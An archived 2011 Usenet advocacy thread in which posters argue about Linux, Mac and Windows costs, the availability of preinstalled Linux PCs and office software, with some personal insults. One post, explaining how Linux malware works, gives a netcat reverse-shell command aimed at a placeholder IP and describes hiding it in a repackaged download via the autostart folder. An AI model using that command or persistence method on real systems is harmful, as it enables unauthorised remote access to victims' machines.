> On 09/04/2011 08:21 PM, JEDIDIAH wrote:
>> On 2011-09-03, Dustin<bughunter.dustin@gmail.com>  wrote:
>>> Snit<usenet@gallopinginsanity.com>  wrote in
>>> news:CA86B55A.A49B2%usenet@gallopinginsanity.com:
>>>
>>>> Hmmm, Macs have about 20% market share in the use and people pay for
>>>> them, on average, about 2-3x as much.  So people in the US are
>>>> spending about the same for Macs as they are on Windows machines...
>>>
>>> No they aren't. I can build an impressive PC for half the cost of a
>>> decent mac.
>>
>>     Nevermind "build". I can plain get one in a box from Best Buy that
>> will be more powerful than a Mac while costing less. Apple uses
>> inherently expensive parts. That makes it pretty trivial to beat them
>> on cost.
>>
> Nothing cost more than a Mac. Nothing.

   It's hard NOT to beat laptop parts being put in a desktop chassis.

-- 
    If some college kid can replicate your "invention" without seeing   ||| 
any of the details of your patent then you have been granted a patent  / | \
on the "idea" and not the actual implementation.
0
jedi (14754)
9/5/2011 4:07:48 PM
RayLopez99 wrote:

> Linux has viruses and malware.  See below.
> 
> Now please spin the facts and tell me why this is not so, Linux
> cultists.

Since you wouldn't let it go with the kernel.org breach topic etc., my 
answer:

There are Viruses and Malware because it's very easy to write it by 
exploiting the functionality the user wants to have.


#!/bin/bash
netcat -e /bin/sh <my_ip> 3333


This is malware.
It opens a shell on the computer and then connects to <my_ip> on port 3333. 
In case I listen on this port I can now execute arbitrary commands on that 
computer.

But maybe it isn't.
Maybe the user opens a shell for me to allow me to assist him remotely. (Of 
course there are way better methods. Just to show netcat is a legit basic 
network tool with tons of "legit" applications).

The tricky is getting it executed on the victim's computer without him 
knowing.
There are some ways to do this that are very hard to automatically detect.

For example I could take some software and repackage it so that it copies 
this script to $HOME/.config/autostart
Then I only need to upload this new package to some location that seems 
legit. A user that downloads and installs this software is then infected.

What could linux have done to prevent this?
- A Personal Firewall where the user needs to allow new connections. On 
Windows those tools have proven to be rather impractical since it needs 
rather experienced users to actually use it effectively. And often there are 
possibilities to circumvent those personal firewalls, for example by using 
an already allowed program as the browser to send and receive data.

Do _you_ know what linux could do to prevent such "malware" from being 
installed and executed?
0
chrisdhaag (716)
9/5/2011 7:29:12 PM
Sneaky Weasel wrote:
> On 09/04/2011 08:12 PM, JEDIDIAH wrote:
>> On 2011-09-03, Big Steel<"The Steel11177ttta"@Steel11277ttta.com> wrote:
>>> On 9/2/2011 7:48 PM, Snit wrote:
>>>> Big Steel stated in post
>>>> Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
>>>> 9/2/11 4:38 PM:
>>>>
>>>>> On 9/2/2011 7:31 PM, Snit wrote:
>>>>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11
>>>>>> 4:06 PM:
>>>>>>
>>>>>>> JEDIDIAH<jedi@nomad.mishnet> wrote in
>>>>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>>>>
>>>>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com> wrote:
>>>>>>>>> Hadron<hadronquark@gmail.com> wrote in
>>>>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>>>>
>>>>>>>>>> WHile Linux CAN catch a virus its rare as its rarely targetted by
>>>>>>>>>> the usual techniques since the "dumb" userbase is so small - that
>>>>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>>>>>
>>>>>>>>> Give it time. That dumb userbase is growing. The "friendlier"
>>>>>>>>> linux
>>>>>>>>> gets, the dumber the users you will have. This is what happened to
>>>>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>>>>> in the background. Not at anyone in particular, but at the
>>>>>>>>> computer
>>>>>>>>> industry as a whole.
>>>>>>>>
>>>>>>>> You can't get any dumber than the Mac userbase.
>>>>>>>
>>>>>>> Not true. I know all kinds of graphics artists who do the mac thing.
>>>>>>>
>>>>>>>> So where's all the malware?
>>>>>>>
>>>>>>> Mac isn't a windows market. Malware authors are about the money
>>>>>>> now. When
>>>>>>> mac has enough people to make it worthwhile, the malware authors
>>>>>>> will
>>>>>>> target it.
>>>>>>>
>>>>>> Hmmm, Macs have about 20% market share in the use and people pay
>>>>>> for them,
>>>>>> on average, about 2-3x as much. So people in the US are spending
>>>>>> about the
>>>>>> same for Macs as they are on Windows machines... which implies the
>>>>>> owners
>>>>>> might have about the same amount of money to be scammed out of. Or
>>>>>> at least
>>>>>> pretty close.
>>>>>>
>>>>>> The security by obscurity claim is proving to be largely false.
>>>>>
>>>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>>>> used which is usually a sign that the user is broke and doesn't
>>>>> have any
>>>>> money. :)
>>>>
>>>> Sure: Linux users likely have less money - given that one of the
>>>> primary
>>>> reasons people use Linux is the lower initial cost.
>>>>
>>>>
>>>
>>> No bang for the buck with crooks and Linux at the desktop. So why
>>> bother? :)
>>
>> Why would that matter? Linux runs on hardware that usually has an OEM
>> Windows license associated with it. So the argument of "poverty" is
>> pretty
>> assinine actually.
>>
>> It's WinDOS that is the cheap freebie. That perception has helped drive
>> it's adoption since the System 6 days.
>>
> I run Mint because Windows sucks and Mint works perfectly.

The best endorsement for Mint I've heard yet. I may have to try it.
0
erratic (209)
9/5/2011 8:02:09 PM
On 9/5/2011 4:02 PM, FromTheRafters wrote:
> Sneaky Weasel wrote:
>> On 09/04/2011 08:12 PM, JEDIDIAH wrote:
>>> On 2011-09-03, Big Steel<"The Steel11177ttta"@Steel11277ttta.com> wrote:
>>>> On 9/2/2011 7:48 PM, Snit wrote:
>>>>> Big Steel stated in post
>>>>> Or6dnTbH6oSq9PzTnZ2dnUVZ_vSdnZ2d@earthlink.com on
>>>>> 9/2/11 4:38 PM:
>>>>>
>>>>>> On 9/2/2011 7:31 PM, Snit wrote:
>>>>>>> Dustin stated in post Xns9F54C3752FB4EHHI2948AJD832@no on 9/2/11
>>>>>>> 4:06 PM:
>>>>>>>
>>>>>>>> JEDIDIAH<jedi@nomad.mishnet> wrote in
>>>>>>>> news:slrnj5tf3h.stn.jedi@nomad.mishnet:
>>>>>>>>
>>>>>>>>> On 2011-08-31, Dustin<bughunter.dustin@gmail.com> wrote:
>>>>>>>>>> Hadron<hadronquark@gmail.com> wrote in
>>>>>>>>>> news:6tbov6vyoy.fsf@news.eternal-september.org:
>>>>>>>>>>
>>>>>>>>>>> WHile Linux CAN catch a virus its rare as its rarely
>>>>>>>>>>> targetted by
>>>>>>>>>>> the usual techniques since the "dumb" userbase is so small -
>>>>>>>>>>> that
>>>>>>>>>>> and reasonably secure interfaces to the outside world.
>>>>>>>>>>
>>>>>>>>>> Give it time. That dumb userbase is growing. The "friendlier"
>>>>>>>>>> linux
>>>>>>>>>> gets, the dumber the users you will have. This is what
>>>>>>>>>> happened to
>>>>>>>>>> windows, this is how linux will go too. I will laugh hysterically
>>>>>>>>>> in the background. Not at anyone in particular, but at the
>>>>>>>>>> computer
>>>>>>>>>> industry as a whole.
>>>>>>>>>
>>>>>>>>> You can't get any dumber than the Mac userbase.
>>>>>>>>
>>>>>>>> Not true. I know all kinds of graphics artists who do the mac
>>>>>>>> thing.
>>>>>>>>
>>>>>>>>> So where's all the malware?
>>>>>>>>
>>>>>>>> Mac isn't a windows market. Malware authors are about the money
>>>>>>>> now. When
>>>>>>>> mac has enough people to make it worthwhile, the malware authors
>>>>>>>> will
>>>>>>>> target it.
>>>>>>>>
>>>>>>> Hmmm, Macs have about 20% market share in the use and people pay
>>>>>>> for them,
>>>>>>> on average, about 2-3x as much. So people in the US are spending
>>>>>>> about the
>>>>>>> same for Macs as they are on Windows machines... which implies the
>>>>>>> owners
>>>>>>> might have about the same amount of money to be scammed out of. Or
>>>>>>> at least
>>>>>>> pretty close.
>>>>>>>
>>>>>>> The security by obscurity claim is proving to be largely false.
>>>>>>
>>>>>> LOL, I have to disagree here in the case of Linux at the desktop
>>>>>> being
>>>>>> used which is usually a sign that the user is broke and doesn't
>>>>>> have any
>>>>>> money. :)
>>>>>
>>>>> Sure: Linux users likely have less money - given that one of the
>>>>> primary
>>>>> reasons people use Linux is the lower initial cost.
>>>>>
>>>>>
>>>>
>>>> No bang for the buck with crooks and Linux at the desktop. So why
>>>> bother? :)
>>>
>>> Why would that matter? Linux runs on hardware that usually has an OEM
>>> Windows license associated with it. So the argument of "poverty" is
>>> pretty
>>> assinine actually.
>>>
>>> It's WinDOS that is the cheap freebie. That perception has helped drive
>>> it's adoption since the System 6 days.
>>>
>> I run Mint because Windows sucks and Mint works perfectly.
>
> The best endorsement for Mint I've heard yet. I may have to try it.


Myself,  the babble of a COLA lunatics like JEDIDIAH mean nothing. It's 
the same old excuse, after excuse and after excuse.

If one is broke one is using Linux. If one is on entitlement handouts, 
one is using Linux. :)


0
Big
9/5/2011 10:58:09 PM
On 03/09/11 16:34, Snit wrote:
> David Brown stated in post jZadnfiNwcKAtv_TnZ2dnUVZ8oydnZ2d@lyse.net on
> 9/3/11 6:26 AM:
>
>> On 03/09/11 01:38, Big Steel wrote:
>>>
>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>> used which is usually a sign that the user is broke and doesn't have any
>>> money. :)
>>
>> Most Linux desktop users have a Windows license for their machines as
>> well, because it is difficult to buy a machine without one.  If you want
>> a PC without Windows, you usually have to build it yourself - and that
>> is normally more expensive than a pre-build one.
>
> You can also buy one from the following companies:
>
>      Abaco Computers
>      Blackstone Systems
>      Codelock Computer
>      ComputadoresLinux
>      Dell
>      Eight Virtues
>      Emperor Linux
>      eRack
>      Evo Technologies
>      Fit-PC
>      Frostbite Systems
>      Genesi USA
>      HP
>      Inatux
>      LinPC
>      Linutop
>      Linux Certified
>      Linux Emporium
>      Linux-service.be
>      Los Alamos Computers
>      open-pc
>      System76
>      Think Penguin
>      Zareason
>      Zinside
>
> And likely more.

It is far from easy to buy pre-build PC's either with Linux installed, 
or at least without Windows.  It varies quite a bit from country to 
country - but certainly you are going to get a much smaller selection, 
and pay higher prices.  (That's for desktops and laptops - any serious 
server supplier will offer you machines with Linux pre-installed, or no 
OS if you prefer.)

>
>> People run Linux on desktops because they /choose/ to - not to save money.
>
> The first half is correct... but often in COLA it is noted how desktop Linux
> and many of its apps can be had for free.  Of course this is a huge
> "selling" point.  It is also one of the main reasons I, personally, use it
> for the businesses and individuals I install it for.
>
> In other words: I am a counter-example to the denial that it is not used to
> save money.  It is... I know because I use it for that purpose.
>

I don't use Linux on the desktop to save money - although one of the 
reasons why I use open source software, even on Windows desktops, is for 
the cost.

For business use, it is not the zero cost of open source software in 
itself that saves money - it is the convenience of not having to think 
about licensing or purchasing.  MS Office, for example, is not /that/ 
expensive - not for a company, anyway.  But for the few users in the 
office who have it, it means getting acceptance for the costs, deciding 
on the languages (we have Norwegian and English versions of software), 
ordering the packages, waiting for the delivery, installing them, etc. 
With Open Office, we can simply download the latest version with the 
languages we want, and install it on the machines we want.

For server usage, the cost savings of Linux and open source software are 
substantial - in hardware costs, software costs, client access costs, 
and of course in the time saved setting up and maintaining the system. 
Although my company uses Windows for most desktop usage, we have used 
Linux on servers for over a decade.


>> People may run Open Office rather than MS Office to save money, and
>> similarly with other programs.  And the lack of cost certainly makes it
>> easier to try out Linux.  But Linux users have usually already paid for
>> a Windows license for the machine (even if they never use it).
>
> I use it on many machines where I no longer have access to the license that
> came with the machine.  Or where the machine came without a Windows license.
> I am hardly the only one.
>
>> In my household, there are two laptops and two desktops.  They all came
>> with Windows licenses, but none of them have Windows installed (except
>> on a couple of virtual machines).
>
>
>

0
9/6/2011 12:07:50 AM
David Brown stated in post 0rSdnQz_n9TK-fjTnZ2dnUVZ8o-dnZ2d@lyse.net on
9/5/11 5:07 PM:

> On 03/09/11 16:34, Snit wrote:
>> David Brown stated in post jZadnfiNwcKAtv_TnZ2dnUVZ8oydnZ2d@lyse.net on
>> 9/3/11 6:26 AM:
>> 
>>> On 03/09/11 01:38, Big Steel wrote:
>>>> 
>>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>>> used which is usually a sign that the user is broke and doesn't have any
>>>> money. :)
>>> 
>>> Most Linux desktop users have a Windows license for their machines as
>>> well, because it is difficult to buy a machine without one.  If you want
>>> a PC without Windows, you usually have to build it yourself - and that
>>> is normally more expensive than a pre-build one.
>> 
>> You can also buy one from the following companies:
>> 
>>      Abaco Computers
>>      Blackstone Systems
>>      Codelock Computer
>>      ComputadoresLinux
>>      Dell
>>      Eight Virtues
>>      Emperor Linux
>>      eRack
>>      Evo Technologies
>>      Fit-PC
>>      Frostbite Systems
>>      Genesi USA
>>      HP
>>      Inatux
>>      LinPC
>>      Linutop
>>      Linux Certified
>>      Linux Emporium
>>      Linux-service.be
>>      Los Alamos Computers
>>      open-pc
>>      System76
>>      Think Penguin
>>      Zareason
>>      Zinside
>> 
>> And likely more.
> 
> It is far from easy to buy pre-build PC's either with Linux installed,
> or at least without Windows.

It is pretty trivial to buy a PC without windows (for an experience user) -
esp. if you include Macs as PCs.  But, sure, there is so little demand for
them it is not the norm.

> It varies quite a bit from country to country - but certainly you are going to
> get a much smaller selection, and pay higher prices.

Sure... when is less demand for a product that is often the case.

> (That's for desktops and laptops - any serious server supplier will offer you
> machines with Linux pre-installed, or no OS if you prefer.)

You can configure a Dell "server" as you wish... but they used to also have
Linux desktops.  

>>> People run Linux on desktops because they /choose/ to - not to save money.
>> 
>> The first half is correct... but often in COLA it is noted how desktop Linux
>> and many of its apps can be had for free.  Of course this is a huge
>> "selling" point.  It is also one of the main reasons I, personally, use it
>> for the businesses and individuals I install it for.
>> 
>> In other words: I am a counter-example to the denial that it is not used to
>> save money.  It is... I know because I use it for that purpose.
> 
> I don't use Linux on the desktop to save money - although one of the
> reasons why I use open source software, even on Windows desktops, is for
> the cost.
> 
> For business use, it is not the zero cost of open source software in
> itself that saves money - it is the convenience of not having to think
> about licensing or purchasing.  MS Office, for example, is not /that/
> expensive - not for a company, anyway.  But for the few users in the
> office who have it, it means getting acceptance for the costs, deciding
> on the languages (we have Norwegian and English versions of software),
> ordering the packages, waiting for the delivery, installing them, etc.
> With Open Office, we can simply download the latest version with the
> languages we want, and install it on the machines we want.

Sure... and you then have to balance that with the usability of each
program.  It is often a bit of a guessing game as to which will serve any
given business better in the long run.  I just moved a business to
LibreOffice (from WordPerfect).

> For server usage, the cost savings of Linux and open source software are
> substantial - in hardware costs, software costs, client access costs,
> and of course in the time saved setting up and maintaining the system.
> Although my company uses Windows for most desktop usage, we have used
> Linux on servers for over a decade.

Well, on the server side Linux is very, very often the better choice.  For
my web hosting, for example, that is what I use.
 
>>> People may run Open Office rather than MS Office to save money, and
>>> similarly with other programs.  And the lack of cost certainly makes it
>>> easier to try out Linux.  But Linux users have usually already paid for
>>> a Windows license for the machine (even if they never use it).
>> 
>> I use it on many machines where I no longer have access to the license that
>> came with the machine.  Or where the machine came without a Windows license.
>> I am hardly the only one.
>> 
>>> In my household, there are two laptops and two desktops.  They all came
>>> with Windows licenses, but none of them have Windows installed (except
>>> on a couple of virtual machines).
>> 
>> 
>> 
> 



-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 12:15:57 AM
On 9/5/2011 8:07 PM, David Brown wrote:


> For business use, it is not the zero cost of open source software in
> itself that saves money - it is the convenience of not having to think
> about licensing or purchasing. MS Office, for example, is not /that/
> expensive - not for a company, anyway. But for the few users in the
> office who have it, it means getting acceptance for the costs, deciding
> on the languages (we have Norwegian and English versions of software),
> ordering the packages, waiting for the delivery, installing them, etc.
> With Open Office, we can simply download the latest version with the
> languages we want, and install it on the machines we want.

Do you think this makes a difference with most companies using the MS 
platform?

>
> For server usage, the cost savings of Linux and open source software are
> substantial - in hardware costs, software costs, client access costs,
> and of course in the time saved setting up and maintaining the system.
> Although my company uses Windows for most desktop usage, we have used
> Linux on servers for over a decade.
>

Again, do you think that this makes a difference with most companies 
using the MS platform?

I have only seen Linux being used in two companies in the numerous shops 
I have been in a .NET contract programmer. In one, Linux was a total 
failure as the IT director tried to ram Linux down the IT department's 
throat that was MS. They turned on him and left him hanging in the wind. 
The second company was using Linux and Oracle while the rest of the shop 
was MS.


0
Big
9/6/2011 12:24:13 AM
David Brown wrote this copyrighted missive and expects royalties:

> On 03/09/11 16:34, Snit wrote:
>
>> You can also buy one from the following companies:
>>
>>      Abaco Computers
>>      Blackstone Systems
>>      Codelock Computer
>>      ComputadoresLinux
>>      Dell
>>      Eight Virtues
>>      Emperor Linux
>>      eRack
>>      Evo Technologies
>>      Fit-PC
>>      Frostbite Systems
>>      Genesi USA
>>      HP
>>      Inatux
>>      LinPC
>>      Linutop
>>      Linux Certified
>>      Linux Emporium
>>      Linux-service.be
>>      Los Alamos Computers
>>      open-pc
>>      System76
>>      Think Penguin
>>      Zareason
>>      Zinside
>>
>> And likely more.
>
> It is far from easy to buy pre-build PC's either with Linux installed, 
> or at least without Windows.  It varies quite a bit from country to 
> country - but certainly you are going to get a much smaller selection, 
> and pay higher prices.  (That's for desktops and laptops - any serious 
> server supplier will offer you machines with Linux pre-installed, or no 
> OS if you prefer.)

I'll know the Microsoft monopoly is over when I see Linux desktops and
laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
etc.

-- 
Indeed, the first noble truth of Buddhism, usually translated as
`all life is suffering,' is more accurately rendered `life is filled
with a sense of pervasive unsatisfactoriness.'
		-- M. D. Epstein
0
ahlstromc8504 (8208)
9/6/2011 12:33:51 AM
On 9/5/2011 8:33 PM, Chris Ahlstrom wrote:
>
> I'll know the Microsoft monopoly is over when I see Linux desktops and
> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
> etc.
>

Well, he'll be dust in his grave before it happens.
0
Big
9/6/2011 12:44:40 AM
Chris Ahlstrom <ahlstromc@xzoozy.com> writes:

>
> I'll know the Microsoft monopoly is over when I see Linux desktops and
> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
> etc.


And when you're not a closed source Windows programmer.
0
hadronquark (21814)
9/6/2011 12:56:43 AM
On Tue, 06 Sep 2011 02:56:43 +0200, Hadron wrote:

> Chris Ahlstrom <ahlstromc@xzoozy.com> writes:
> 
>>
>> I'll know the Microsoft monopoly is over when I see Linux desktops and
>> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
>> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
>> etc.
> 
> 
> And when you're not a closed source Windows programmer.

That idiot is a programmer? He doesn't seem intelligent enough. I
though he was some kid playing around with mommies 'puter.
0
9/6/2011 1:04:12 AM
Bobby Coyle <coylecoil17@excite.org> writes:

> On Tue, 06 Sep 2011 02:56:43 +0200, Hadron wrote:
>
>> Chris Ahlstrom <ahlstromc@xzoozy.com> writes:
>> 
>>>
>>> I'll know the Microsoft monopoly is over when I see Linux desktops and
>>> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
>>> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
>>> etc.
>> 
>> 
>> And when you're not a closed source Windows programmer.
>
> That idiot is a programmer? He doesn't seem intelligent enough. I
> though he was some kid playing around with mommies 'puter.

A few people think he's probably a QA monkey since it was quite clear he
knew nothing about C when advising a nOOb to hide typing warnings from
the compiler using casts - an incredibly naive and stupid thing to do.
0
hadronquark (21814)
9/6/2011 1:11:26 AM
On Tue, 06 Sep 2011 03:11:26 +0200, Hadron wrote:

> Bobby Coyle <coylecoil17@excite.org> writes:
> 
>> On Tue, 06 Sep 2011 02:56:43 +0200, Hadron wrote:
>>
>>> Chris Ahlstrom <ahlstromc@xzoozy.com> writes:
>>> 
>>>>
>>>> I'll know the Microsoft monopoly is over when I see Linux desktops and
>>>> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
>>>> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
>>>> etc.
>>> 
>>> 
>>> And when you're not a closed source Windows programmer.
>>
>> That idiot is a programmer? He doesn't seem intelligent enough. I
>> though he was some kid playing around with mommies 'puter.
> 
> A few people think he's probably a QA monkey since it was quite clear he
> knew nothing about C when advising a nOOb to hide typing warnings from
> the compiler using casts - an incredibly naive and stupid thing to do.

Yep. QA or documentation I would suppose. He doesn't seem to be one
of the sharper tools in the box. 
0
9/6/2011 1:13:08 AM
Bobby Coyle <coylecoil17@excite.org> writes:

> On Tue, 06 Sep 2011 03:11:26 +0200, Hadron wrote:
>
>> Bobby Coyle <coylecoil17@excite.org> writes:
>> 
>>> On Tue, 06 Sep 2011 02:56:43 +0200, Hadron wrote:
>>>
>>>> Chris Ahlstrom <ahlstromc@xzoozy.com> writes:
>>>> 
>>>>>
>>>>> I'll know the Microsoft monopoly is over when I see Linux desktops and
>>>>> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
>>>>> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
>>>>> etc.
>>>> 
>>>> 
>>>> And when you're not a closed source Windows programmer.
>>>
>>> That idiot is a programmer? He doesn't seem intelligent enough. I
>>> though he was some kid playing around with mommies 'puter.
>> 
>> A few people think he's probably a QA monkey since it was quite clear he
>> knew nothing about C when advising a nOOb to hide typing warnings from
>> the compiler using casts - an incredibly naive and stupid thing to do.
>
> Yep. QA or documentation I would suppose. He doesn't seem to be one
> of the sharper tools in the box. 

Somewhat amazingly he also things "7" and Rexx Ballard are geniuses. It
will only take you a moment with google to reveal in what way this
"genius" manifests itself : in lies and ponzi schemes. Even more
worryingly he has openly stated that "chrisv" is "intelligent and
insightful" - I kid you not. See if you can spot even ONE post from
"chrisv" (known locally as "turd") that isnt littered with profanities
and lies.
0
hadronquark (21814)
9/6/2011 1:24:44 AM
Chris Ahlstrom stated in post j43q1p$ui9$3@dont-email.me on 9/5/11 5:33 PM:

>>> You can also buy one from the following companies:
>>> 
>>>      Abaco Computers
>>>      Blackstone Systems
>>>      Codelock Computer
>>>      ComputadoresLinux
>>>      Dell
>>>      Eight Virtues
>>>      Emperor Linux
>>>      eRack
>>>      Evo Technologies
>>>      Fit-PC
>>>      Frostbite Systems
>>>      Genesi USA
>>>      HP
>>>      Inatux
>>>      LinPC
>>>      Linutop
>>>      Linux Certified
>>>      Linux Emporium
>>>      Linux-service.be
>>>      Los Alamos Computers
>>>      open-pc
>>>      System76
>>>      Think Penguin
>>>      Zareason
>>>      Zinside
>>> 
>>> And likely more.
>> 
>> It is far from easy to buy pre-build PC's either with Linux installed,
>> or at least without Windows.  It varies quite a bit from country to
>> country - but certainly you are going to get a much smaller selection,
>> and pay higher prices.  (That's for desktops and laptops - any serious
>> server supplier will offer you machines with Linux pre-installed, or no
>> OS if you prefer.)
> 
> I'll know the Microsoft monopoly is over when I see Linux desktops and
> laptops from DELL, HP, Gateway, Lenovo, Sony, Toshiba, Acer, ASUS, etc.
> for sale on the shelves of Best Buy, Office Depot, Target, Walmart, Staples,
> etc.

Several of those companies have *tried* to sell Linux based systems.  They
do not sell well.  But you blame Microsoft.


-- 
🙈🙉🙊


0
usenet2 (47889)
9/6/2011 2:32:17 AM
On 09/05/2011 01:02 PM, FromTheRafters wrote:
>> I run Mint because Windows sucks and Mint works perfectly.
>
> The best endorsement for Mint I've heard yet. I may have to try it.

Excellent. It is flawless.
0
Sneaky (395)
9/6/2011 3:53:20 AM
On 06/09/2011 02:15, Snit wrote:
> David Brown stated in post 0rSdnQz_n9TK-fjTnZ2dnUVZ8o-dnZ2d@lyse.net on
> 9/5/11 5:07 PM:
>
>> On 03/09/11 16:34, Snit wrote:
>>> David Brown stated in post jZadnfiNwcKAtv_TnZ2dnUVZ8oydnZ2d@lyse.net on
>>> 9/3/11 6:26 AM:
>>>
>>>> On 03/09/11 01:38, Big Steel wrote:
>>>>>
>>>>> LOL, I have to disagree here in the case of Linux at the desktop being
>>>>> used which is usually a sign that the user is broke and doesn't have any
>>>>> money. :)
>>>>
>>>> Most Linux desktop users have a Windows license for their machines as
>>>> well, because it is difficult to buy a machine without one.  If you want
>>>> a PC without Windows, you usually have to build it yourself - and that
>>>> is normally more expensive than a pre-build one.
>>>
>>> You can also buy one from the following companies:
>>>
>>>       Abaco Computers
>>>       Blackstone Systems
>>>       Codelock Computer
>>>       ComputadoresLinux
>>>       Dell
>>>       Eight Virtues
>>>       Emperor Linux
>>>       eRack
>>>       Evo Technologies
>>>       Fit-PC
>>>       Frostbite Systems
>>>       Genesi USA
>>>       HP
>>>       Inatux
>>>       LinPC
>>>       Linutop
>>>       Linux Certified
>>>       Linux Emporium
>>>       Linux-service.be
>>>       Los Alamos Computers
>>>       open-pc
>>>       System76
>>>       Think Penguin
>>>       Zareason
>>>       Zinside
>>>
>>> And likely more.
>>
>> It is far from easy to buy pre-build PC's either with Linux installed,
>> or at least without Windows.
>
> It is pretty trivial to buy a PC without windows (for an experience user) -
> esp. if you include Macs as PCs.  But, sure, there is so little demand for
> them it is not the norm.
>

Excluding Macs, obviously, it is not easy to get a PC without windows - 
the big shops and big suppliers don't sell them.  You need to get them 
from a small place that builds themselves, or a company that specialises 
in such machines.  That will often mean better quality machines - but it 
will mean less choice (especially for laptops) and higher prices.

MS do not let big companies sell PC's without windows - if a company 
does that, they lose all or most of their rebate on windows licenses. 
You have to be /very/ big to negotiate terms with MS that give you good 
prices for your windows licenses while also selling Linux (or no OS) 
machines.

So yes, you /can/ buy pre-built machines with Linux or no OS - but they 
are a lot harder to find, and they cost more than if they had windows 
pre-installed.

>> It varies quite a bit from country to country - but certainly you are going to
>> get a much smaller selection, and pay higher prices.
>
> Sure... when is less demand for a product that is often the case.
>

That's the main reason, of course.

>> (That's for desktops and laptops - any serious server supplier will offer you
>> machines with Linux pre-installed, or no OS if you prefer.)
>
> You can configure a Dell "server" as you wish... but they used to also have
> Linux desktops.

Well, sort of - Dell had a couple of desktop models that they sold with 
outdated versions of Ubuntu in a few countries.  You had to actively 
search for them - you couldn't find them from sensible links from the 
home page.  The machines cost more than equivalent ones with Windows, 
and the pages were plastered with "Dell recommends Vista" adverts.  When 
you tried to configure the machines, they tried to sell you MS Office 
for it.

Servers are a different matter - there you can get them without an OS, 
or with RHEL or SUSe pre-installed.

>
>>>> People run Linux on desktops because they /choose/ to - not to save money.
>>>
>>> The first half is correct... but often in COLA it is noted how desktop Linux
>>> and many of its apps can be had for free.  Of course this is a huge
>>> "selling" point.  It is also one of the main reasons I, personally, use it
>>> for the businesses and individuals I install it for.
>>>
>>> In other words: I am a counter-example to the denial that it is not used to
>>> save money.  It is... I know because I use it for that purpose.
>>
>> I don't use Linux on the desktop to save money - although one of the
>> reasons why I use open source software, even on Windows desktops, is for
>> the cost.
>>
>> For business use, it is not the zero cost of open source software in
>> itself that saves money - it is the convenience of not having to think
>> about licensing or purchasing.  MS Office, for example, is not /that/
>> expensive - not for a company, anyway.  But for the few users in the
>> office who have it, it means getting acceptance for the costs, deciding
>> on the languages (we have Norwegian and English versions of software),
>> ordering the packages, waiting for the delivery, installing them, etc.
>> With Open Office, we can simply download the latest version with the
>> languages we want, and install it on the machines we want.
>
> Sure... and you then have to balance that with the usability of each
> program.  It is often a bit of a guessing game as to which will serve any
> given business better in the long run.  I just moved a business to
> LibreOffice (from WordPerfect).
>

I agree.  I find OpenOffice (well, LibreOffice these days) to be a 
better program than MS Office.  Opinions vary, of course, and we try to 
be flexible at my company.  But I would take LibreOffice over MS Office 
regardless of the price difference.

>> For server usage, the cost savings of Linux and open source software are
>> substantial - in hardware costs, software costs, client access costs,
>> and of course in the time saved setting up and maintaining the system.
>> Although my company uses Windows for most desktop usage, we have used
>> Linux on servers for over a decade.
>
> Well, on the server side Linux is very, very often the better choice.  For
> my web hosting, for example, that is what I use.
>

Again, I agree - while the cost (especially time) savings is a definite 
big advantage of Linux over Windows on servers, it is not the only 
reason it is a better choice for us.

>>>> People may run Open Office rather than MS Office to save money, and
>>>> similarly with other programs.  And the lack of cost certainly makes it
>>>> easier to try out Linux.  But Linux users have usually already paid for
>>>> a Windows license for the machine (even if they never use it).
>>>
>>> I use it on many machines where I no longer have access to the license that
>>> came with the machine.  Or where the machine came without a Windows license.
>>> I am hardly the only one.
>>>
>>>> In my household, there are two laptops and two desktops.  They all came
>>>> with Windows licenses, but none of them have Windows installed (except
>>>> on a couple of virtual machines).
>>>
>>>
>>>
>>
>
>
>

0
david2384 (2168)
9/6/2011 8:38:03 AM
On 06/09/2011 02:24, Big Steel wrote:
> On 9/5/2011 8:07 PM, David Brown wrote:
>
>
>> For business use, it is not the zero cost of open source software in
>> itself that saves money - it is the convenience of not having to think
>> about licensing or purchasing. MS Office, for example, is not /that/
>> expensive - not for a company, anyway. But for the few users in the
>> office who have it, it means getting acceptance for the costs, deciding
>> on the languages (we have Norwegian and English versions of software),
>> ordering the packages, waiting for the delivery, installing them, etc.
>> With Open Office, we can simply download the latest version with the
>> languages we want, and install it on the machines we want.
>
> Do you think this makes a difference with most companies using the MS
> platform?
>

If you have a company with a very rigid IT structure, with identical 
machines mass-configured in advance, then no, it makes no difference. 
But we don't have that - we have very varied systems and needs, and 
while most desktops are Windows of some sort, the type of machine, OS, 
software, usage, etc., is widely different across the company.

>>
>> For server usage, the cost savings of Linux and open source software are
>> substantial - in hardware costs, software costs, client access costs,
>> and of course in the time saved setting up and maintaining the system.
>> Although my company uses Windows for most desktop usage, we have used
>> Linux on servers for over a decade.
>>
>
> Again, do you think that this makes a difference with most companies
> using the MS platform?
>
> I have only seen Linux being used in two companies in the numerous shops
> I have been in a .NET contract programmer. In one, Linux was a total
> failure as the IT director tried to ram Linux down the IT department's
